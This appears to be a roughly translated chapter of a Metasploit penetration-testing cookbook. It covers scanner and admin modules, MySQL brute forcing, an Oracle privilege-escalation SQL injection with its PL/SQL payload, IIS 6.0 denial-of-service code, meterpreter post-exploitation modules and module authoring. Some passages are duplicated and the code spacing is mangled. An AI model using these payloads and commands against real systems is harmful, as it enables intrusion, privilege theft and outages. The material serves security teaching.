Translation of the seventh part of the book Metasploit Penetration Testing Cookbook

Chapter 7. Working with Modules
In this chapter, we study the following:
- Work with auxiliary scan-modules
- Work with auxiliary admin modules
- SQL injection and DOS modules
- Post-operational modules
- Basics of creating modules
- Module analysis
- Creating a post-operational module
Introduction
In the first chapter we talked about the basics of Metasploit. We started with the fact that it has a modular architecture. This means that all exploits, payloads, encoders, etc. present in the form of modules. The modular architecture makes it easy to extend the functionality of the framework. Any programmer can develop his own module and easily enable it in the Metasploit framework. The penetration testing process may include several modules during system operation. For example, we start with an operational module, then we begin to use a payload module (payload), then we can use several post-operational modules. Finally, we can use various modules to connect to the database to save our findings and results.
This chapter focuses on the / pentest / exploits / framework3 / modules directory, which contains a complete list of useful modules that will help us in penetration testing.
')
Work with auxiliary scan-modules
Let's start with the scan engines. We already studied scanning in detail when we talked about nmap. In this recipe, we analyze some of the ready-made modules that come with Metasploit. Although nmap is a powerful scanning tool, there are situations in which a special type of scan is needed, such as scanning for the presence of a MySQL database. To find a list of available scanners, we need to go to
/ pentest / exploits / framework3 / modules / auxiliary / scanner . Let's start with the main HTTP scanner.
Consider
dir_scanner . The script will scan the host or the entire network to look for interesting directory listings that can be further studied to collect information.
msf> use auxiliary / scanner / http / dir_scanner
msf auxiliary (dir_scanner)> show options
Module options (auxiliary / scanner / http / dir_scanner):
Name Current Setting Required Description
---- --------------- -------- -----------
DICTIONARY /opt/metasploit/msf3/data/wmap/wmap_dirs.txt no Path of word dictionary to use
PATH / yes The path to identify files
RHOSTS yes CIDR identifier
RPORT 80 yes The target port
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host
The
show options command will show the available options that can be enabled in the module.
Let's look at a specific example. The
mysql_login module, which scans a target for the presence of a MySQL server and, if it finds one, tries to exit into the database using brute force to attack:
msf> use auxiliary / scanner / mysql / mysql_login
msf> show options
Module options (auxiliary / scanner / mysql / mysql_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS true no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
PASSWORD no specific password to authenticate with
PASS_FILE no file containing passwords, one per line
RHOSTS yes CIDR identifier
RPORT 3306 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS_FILE file separated by space, one pair per line
USER_AS_PASS true for all users
USER_FILE no file containing usernames, one per line
For all attempts
As you can see, the module contains many parameters. You can specify files with usernames and passwords. Let's do this:
msf auxiliary (mysql_login)> set USER_FILE / users.txt
USER_FILE => /users.txt
msf auxiliary (mysql_login)> set PASS_FILE /pass.txt
PASS_FILE => /pass.txt
Now we are ready to use brute. It remains to specify the target and run the module:
msf auxiliary (mysql_login)> set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf auxiliary (mysql_login)> run
[*] 192.168.56.101:37306 - Found remote MySQL version 5.0.51a
[*] 192.168.56.101 dis306 Trying username: 'administrator' with password: ''
The output shows that the module started the process by searching the MySQL server for the target. Then he began to substitute the username / password combinations that are in the files.
Work with auxiliary admin modules
We study several admin-modules. Modules can serve various purposes, for example, search for an admin panel or check for default login / password. It all depends on the functionality. Consider
mysql_enum :
msf> use auxiliary / admin / mysql / mysql_enum
msf> show options
Module options (auxiliary / admin / mysql / mysql_enum):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no password for the specified username
RHOST yes The target address
RPORT 3306 yes The target port
USERNAME no The username to authenticate as
As you can see, the module accepts the login, password and
RHOST parameters . It can be used to search for MySQL databases, as well as for brut. Let's analyze the command execution:
msf auxiliary (mysql_enum)> exploit
[*] Configuration Parameters:
[*] C2 Audit Mode is Not Enabled
[*] xp_cmdshell is Enabled
[*] remote access is Enabled
[*] allow updates is not enabled
[*] Database Mail XPs is not enabled
[*] Ole Automation Procedures are Not Enabled
[*] Databases on the server:
[*] Database name: master
The module returns a lot of useful information. He tells us that
cmdshell and remote access were enabled on target MySQL. It also returns the name of the database that is running as a process on the target machine.
There are several similar modules for other services, such as MSSQL and Apache. The principle of work is the same for everyone. Remember to use the
show options command to make sure that you pass the necessary parameters.
SQL injection and DOS modules
SQL injection module exploits known vulnerabilities, enter its use and provide unauthorized access. Vulnerability is known to affect Oracle 9i and 10g. Metasploit contains several modules that exploit known vulnerabilities in Oracle. Modules can be found in
modules / auxiliary / sqli / oracle .
Analyze the
Oracle DBMS_METADATA XML oracle vulnerability. This vulnerability will escalate privileges from
DB_USER to
DB_ADMINISTRATOR (
DBA ). We will use the
dbms_metadata_get_xml module:
msf> use auxiliary / sqli / oracle / dbms_metadata_get_xml
msf> show options
Module options (auxiliary / sqli / oracle / dbms_metadata_get_xml):
Name Current Setting Required Description
---- --------------- -------- -----------
DBPASS TIGER yes password to authenticate with.
DBUSER SCOTT yes username to authenticate with.
RHOST yes The Oracle host.
RPORT 1521 yes The TNS port.
SID ORCL yes The sid to authenticate with.
SQL GRANT DBA to SCOTT no SQL to execute.
The database first checks the login using the default credentials of “scott” and “tiger”. When a module gets logged on as a database user, it then executes malicious code to escalate privileges to the database administrator.
msf auxiliary (dbms_metadata_get_xml)> set RHOST 192.168.56.1
msf auxiliary (dbms_metadata_get_xml)> set SQL YES
msf auxiliary (dbms_metadata_get_xml)> run
The next module, which we consider, is associated with a denial of service (DOS) attack. We will analyze a simple IIS 6.0 vulnerability, which allows an attacker to crash the server by sending a POST request containing more than 40000 request parameters. This module was tested on an unpatched Windows 2003 server running IIS 6.0. We will use
ms10_065_ii6_asp_dos as a module:
msf> use auxiliary / dos / windows / http / ms10_065_ii6_asp_dos
msf auxiliary (ms10_065_ii6_asp_dos)> show options
Module options (auxiliary / dos / windows / http / ms10_065_ii6_asp_dos):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 80 yes The target port
URI /page.asp yes URI to request
VHOST no virtual host
msf auxiliary (ms10_065_ii6_asp_dos)> set RHOST 192.168.56.1 RHOST => 192.168.56.1
msf auxiliary (ms10_065_ii6_asp_dos)> run
[*] Attacking http://192.168.56.1:80/page.asp
After the
run command, the module will attack the target IIS server by sending an HTTP request to port 80 with a URI in the form of
page.asp . Successful completion of the module will result in a complete denial of service to the IIS server.
The oracle database vulnerability is exploited by injecting a PL / SQL user-defined function that runs in the SYS context, and this elevates the privileges of the user
“scott” as an administrator.
Let's look at two vulnerabilities. Oracle database vulnerabilities by Vulnerability is performed by injecting a custom
PL / SQL function that runs in the context of
SYS and enhances the rights of the user
“scott” to the administrator.
Example function:
CREATE OR REPLACE FUNCTION "SCOTT". "ATTACK_FUNC" return varchar2 authid current_user as pragma autonomous_transaction;
BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
COMMIT;
RETURN ";
END;
The function will lead to escalation of user privileges
“scott” .
SELECT SYS.DBMS_METADATA.GET_DDL ('' '|| SCOTT.ATTACK_FUNC () ||' '', '')
FROM dual;
The previous lines of code explain the injection process. Detailed vulnerability analysis in Oracle software is beyond the scope of the book / translation.
Now there is a DOS-attack module that uses a vulnerability in IIS 6.0 server. The attacker sends a POST request, which includes more than 40,000 request parameters, and is sent in the application / x-www-form-urlencoded form, the type of encoding. Here is part of the script that serves the module:
Now consider the module for DOS attacks, which exploits a vulnerability in IIS 6.0. The attacker sends a POST request, which includes more than 40000 request parameters and sends it as
application / x-www-form-urlencoded , encoding type.
while (1)
begin
connect
payload = "C = A &" * 40000
length = payload.size
sploit = ​​"HEAD # {datastore ['URI']} HTTP / 1.1 \ r \ n"
sploit << "Host: # {datastore ['VHOST'] || rhost} \ r \ n"
sploit << "Connection: Close \ r \ n"
sploit << "Content-Type: application / x-www-form-urlencoded \ r \ n"
sploit << "Content-Length: # {length} \ r \ n \ r \ n"
sploit << payload
sock.put (sploit)
#print_status ("DoS packet sent.")
disconnect
rescue Errno :: ECONNRESET
next
end
end
As you can see, the script generates a payload size of more than 40,000. Then, a connection is established on port 80 to send an HTTP request to the IIS server. After the request has been sent to the server, it will crash and stop working.
Post-operational modules
We have a separate, dedicated list of modules that can improve our pentest skills. Since they are post-operational modules, we will need an active session with a view. We can use any of the methods described in previous chapters to access the target.
Post-modules - a collection of the most interesting and convenient features that you can use during penetration testing. Let's quickly analyze some of them. We will use a non-repaired Windows 7 with an active meterpreter session.
Let's start with the simple
enum_logged_on_users module. It shows the list of users logged into Windows.
meterpreter> getsystem
... got system (via technique 4).
meterpreter> run post / windows / gather / enum_logged_on_users
[*] Running against session 1
Current Logged Users
====================
SID User
--- ----
S-1-5-21-2350281388-457184790-407941598 DARKLORD-PC \ DARKLORD
Recently Logged Users
=====================
SID Profile Path
--- ------------
S-1-5-18% systemroot% \ system32 \ config \ systemprofile
S-1-5-19 C: \ Windows \ ServiceProfiles \ LocalService
S-1-5-20 C: \ Windows \ ServiceProfiles \ NetworkService
S-1-5-21-23502 C: \ Users \ DARKLORD
S-1-5-21-235 C: \ Users \ Winuser
Successful execution of the module shows us two tables. The first table shows the user who is logged in, and the second table shows the recently logged-in user.
Take another example. There is an interesting post-module that makes a screenshot of the screen on the target machine.
meterpreter> run post / windows / gather / screen_spy
[*] Migrating to explorer.exe pid: 1104
[*] Migration successful
[*] Capturing 60 screenshots with a delay of 5 seconds
You can analyze the
enum_logged_on_user.rb and
screen_spy.rb scripts in
modules / post / windows / gather . They will help you get an idea of ​​how these modules work.
Basics of creating modules
To start creating your own module, we need some basic knowledge of Ruby. We have already discussed the use and implementation of Ruby in meterpreter scripting.
Let's start with the basics. In order for the module to be readable for Metasploit, you need to import the MSF library:
require 'msf / core'
This line indicates that the module will include all dependencies and functions of the Metasploit framework.
class Metasploit3 <Msf :: Auxiliary
This line defines a class that inherits the properties of an auxiliary family. The auxiliary module can import several functions, such as scanning, opening a connection, using a database, and so on:
include Msf ::
The include statement is used to include specific framework functionality in a module. For example, if we are building a scanner module, then we can include it as:
include Msf :: Exploit :: Remote :: TCP
This line will include the functionality of remote TCP scanning.
def initialize
super (
'Name' => 'TCP Port Scanner',
'Version' => '$ Revision $',
'Description' => 'Enumerate open TCP services',
'Author' => [darklord],
'License' => MSF_LICENSE
)
The lines of the script give us information about the module, its name, version, author, description, etc.
register_options (
[
OptString.new ('PORTS', [true, "Ports to scan (eg 25,80,110-900)", "1-10000"]),
OptInt.new ('TIMEOUT', [true, "The socket connect timeout in milliseconds", 1000]),
OptInt.new ('CONCURRENCY', [true, "The number of concurrent ports to check per host", 10]), self.class)
deregister_options ('RPORT')
Module analysis
Now we will analyze the ftp-module. We have already discussed the basic template of the module in the previous recipe, so here we will proceed from the main part of the script.
For analysis, we take an anonymous ftp access module. The main script is located at the following address:
pentest / exploits / framework3 / modules / auxiliary / scanner / ftp / anonymous.rbFull script for reference:
class Metasploit3 <Msf :: Auxiliary
include Msf :: Exploit :: Remote :: Ftp
include Msf :: Auxiliary :: Scanner
include Msf :: Auxiliary :: Report
def initialize
super (
'Name' => 'Anonymous FTP Access Detection',
'Version' => '$ Revision: $ 14774',
'Description' => 'Detect anonymous (read / write) FTP server access.',
'References' => [['URL', 'http://en.wikipedia.org/wiki/File_Transfer_Protocol#Anonymous_FTP'],],
'Author' => 'Matteo Cantoni <goony [at] nothink.org>',
'License' => MSF_LICENSE
)
register_options ([Opt :: RPORT (21),], self.class)
end
def run_host (target_host)
begin
res = connect_login (true, false)
banner.strip! if banner
dir = Rex :: Text.rand_text_alpha (8)
if res
write_check = send_cmd (['MKD', dir], true)
if (write_check and write_check = ~ / ^ 2 /)
send_cmd (['RMD', dir], true)
print_status ("# {target_host}: # {rport} Anonymous READ / WRITE (# {banner})")
access_type = "rw"
else
print_status ("# {target_host}: # {rport} Anonymous READ (# {banner})")
access_type = "ro"
end
report_auth_info (
: host => target_host,
: port => rport,
: sname => 'ftp',
: user => datastore ['FTPUSER'],
: pass => datastore ['FTPPASS'],
: type => "password _ # {access_type}",
: active => true
)
end
disconnect
rescue :: interrupt
raise $!
rescue :: Rex :: ConnectionError, :: IOError
end
end
end
Let's analyze how the script works:
def run_host (target_host)
begin
res = connect_login (true, false)
banner.strip! if banner
dir = Rex :: Text.rand_text_alpha (8)
This feature is used to start the connection. The variable
res contains the boolean value
true or
false . The
connect_login function establishes a connection with a remote host.
if res
write_check = send_cmd (['MKD', dir], true)
if (write_check and write_check = ~ / ^ 2 /)
send_cmd (['RMD', dir], true)
print_status ("# {target_host}: # {rport} Anonymous READ / WRITE (# {banner})")
access_type = "rw"
else
print_status ("# {target_host}: # {rport} Anonymous access_type =" ro "
Once the connection is established, the module tries to check whether the anonymous user has read / write permissions or not.
write_check checks whether a write operation is possible or not. It then checks to see if the operation is successful or not. Depending on the privilege status, a message is printed on the screen. If the write operation fails, the status is printed as
ro or read-only:
report_auth_info (
: host => target_host,
: port => rport,
: sname => 'ftp',
: user => datastore ['FTPUSER'],
: pass => datastore ['FTPPASS'],
: type => "password _ # {access_type}",
: active => true
)
end
This was a small demonstration of how the module operates in the framework. You can modify existing scripts to meet your needs.
In the following example, we will see how to create your own module and load it into the framework.
Creating a post-operational module
Let's create a small post-operational module that will list all installed applications on the target machine.
To begin by creating a module, we first import the library framework and include the required dependencies:
First we import the library framework and include the required dependencies:
require 'msf / core'
require 'rex'
require 'msf / core / post / windows / registry'
class Metasploit3 <Msf :: Post
include Msf :: Post :: Windows :: Registry
def initialize (info = {})
super (update_info (info,
'Name' => 'Windows Gather Installed Application Enumeration',
'Description' =>% q {This module will enumerate all installed applications},
'License' => MSF_LICENSE,
'Platform' => ['windows'],
'SessionTypes' => ['meterpreter']
))
end
The script begins with the Metasploit core libraries. Then we create a class that extends the properties of the Msf :: Post modules.
Next, we create an initialization function that is used to initialize and define the module property and description. This basic structure remains the same in almost all modules.
Next, we create an initialization function that is used to initialize and define a module property. This basic structure remains the same in almost all modules.
It should be noted here that we have included "
rex ", as well as the "registry" libraries.
Now our next step is to create a table that can display our extracted result. We have a special library,
Rex :: Ui :: Text , that can be used to perform this task.
def app_list
tbl = Rex :: Ui :: Text :: Table.new (
'Header' => "Installed Applications",
'Indent' => 1,
'Columns' => ["Name", "Version"])
appkeys = [
'HKLM \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Uninstall',
'HKCU \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Uninstall',
'HKLM \\ SOFTWARE \\ WOW6432NODE \\ Microsoft \\ Windows \\ CurrentVersion \\ Uninstall',
'HKCU \\ SOFTWARE \\ WOW6432NODE \\ Microsoft \\ Windows \\ CurrentVersion \\ Uninstall',
]
apps = []
appkeys.each do | keyx86 |
found_keys = registry_enumkeys (keyx86)
if found_keys
found_keys.each do | ak |
apps << keyx86 + "\\" + ak
end
end
end
The script body begins with the construction of a table and various column names. Then a separate array is created in the registry that will be used to list the list of applications. The array will consist of various registry lines that contain information about installed applications on the target computer. Application data is stored in a separate array, named as
apps .
So, we start processing the enumeration by running a loop that looks in different places of the registry are stored in the appskey array. Then the enumeration process begins by running a loop that looks in different locations in the registry and is stored in the
appskey array:
t = []
while (not apps.empty?)
1.upto (16) do t << framework.threads.spawn ("Module (# {self.refname})", false, apps.shift) do | k |
begin
dispnm = registry_getvaldata ("# {k}", "DisplayName")
dispversion = registry_getvaldata ("# {k}", "DisplayVersion")
tbl << [dispnm, dispversion] if dispnm and dispversion rescue
end
end
The following lines of the script populate tables with different values ​​in the respective columns. The script uses the built-in function
registry_getvaldata , which retrieves the values ​​and adds them to the table:
results = tbl.to_s
print_line ("\ n" + results + "\ n")
p = store_loot ("host.applications", "text / plain", session, results, "applications.txt", "Installed Applications")
print_status ("Results stored in: # {p}")
end
def run
print_status ("Enumerating applications installed on # {sysinfo ['Computer']}")
app_list
end
end
The last few lines of the script are used to store information, in a separate text file called applications.txt. The file is filled using the store_loot function, which saves the entire table to a text file.
The last few lines of the script are used to store information in a separate text file called
applications.txt . The file is filled using the
store_loot function, which stores the entire table in a text file.
Finally, the result is displayed on the screen indicating that the file was created. This was a small example of how you can create and add your own module in the framework. You definitely need knowledge of Ruby scripts.
By the way, for everyone who wants to master the professional tool of pentesters - Metasploit Framework - I recommend the course webinar from Konstantin Levin:
Penetration testing using Metasploit Framework